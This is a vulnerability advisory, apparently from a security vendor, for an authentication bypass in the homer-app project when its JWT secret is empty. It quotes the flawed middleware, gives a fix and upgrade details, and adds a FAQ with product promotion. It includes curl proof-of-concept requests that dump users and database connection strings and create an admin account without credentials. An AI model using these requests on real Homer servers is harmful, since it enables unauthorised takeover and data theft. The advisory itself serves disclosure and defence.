CVE-2026-62253

Homer: Complete Authentication Bypass When coordinator.jwt.secret Is Empty (Default)

func (h *Auth) JWTMiddleware() echo.MiddlewareFunc {
    return func(next echo.HandlerFunc) echo.HandlerFunc {
        return func(c echo.Context) error {
            if h.jwtSecret == "" {
                return next(c)  // bypass, no validation performed
            }

func (h *Auth) JWTMiddlewareV4() echo.MiddlewareFunc {
    return func(next echo.HandlerFunc) echo.HandlerFunc {
        return func(c echo.Context) error {
            if h.jwtSecret == "" {
                return next(c)  // same bypass

if c.config.JWT.Secret != "" {
    protected.Use(authHandler.JWTMiddleware())  // middleware not even registered when secret is empty
}

# On a default Homer installation (no JWT secret configured), all protected routes are open:
curl http://<homer-host>/api/v3/users
# Returns full user list with no credentials

curl http://<homer-host>/api/v3/databases
# Returns all database connection strings

curl -X POST http://<homer-host>/api/v3/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"pw","partid":10,"usergroup":"admin"}'
# Creates a new admin user with no credentials

Missing Authentication for Critical Function (CWE-306). On a default Homer installation with no JWT secret configured, every admin API endpoint is completely unauthenticated. Attackers can read/write all configuration, users, database connections, and stored VoIP call data.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-62253 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260625093330-5e90809657c9); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Fail closed: if JWT.Secret is empty at startup, abort with a fatal error requiring the operator to set a strong secret. Remove the empty-string shortcircuit from both middleware functions:

if h.jwtSecret == "" {
    log.Fatal("coordinator.jwt.secret must be set to a non-empty value")
}

If possible, please apply for a CVE number when posting.

1. What is CVE-2026-62253? CVE-2026-62253 is a critical-severity missing authentication for critical function vulnerability in github.com/sipcapture/homer-app (go), affecting versions < 0.0.0-20260625093330-5e90809657c9. It is fixed in 0.0.0-20260625093330-5e90809657c9. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-62253? CVE-2026-62253 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/sipcapture/homer-app are affected by CVE-2026-62253? github.com/sipcapture/homer-app (go) versions < 0.0.0-20260625093330-5e90809657c9 is affected.
4. Is there a fix for CVE-2026-62253? Yes. CVE-2026-62253 is fixed in 0.0.0-20260625093330-5e90809657c9. Upgrade to this version or later.
5. Is CVE-2026-62253 exploitable, and should I be worried? Whether CVE-2026-62253 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-62253 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-62253? Upgrade github.com/sipcapture/homer-app to 0.0.0-20260625093330-5e90809657c9 or later.

Other vulnerabilities in github.com/sipcapture/homer-app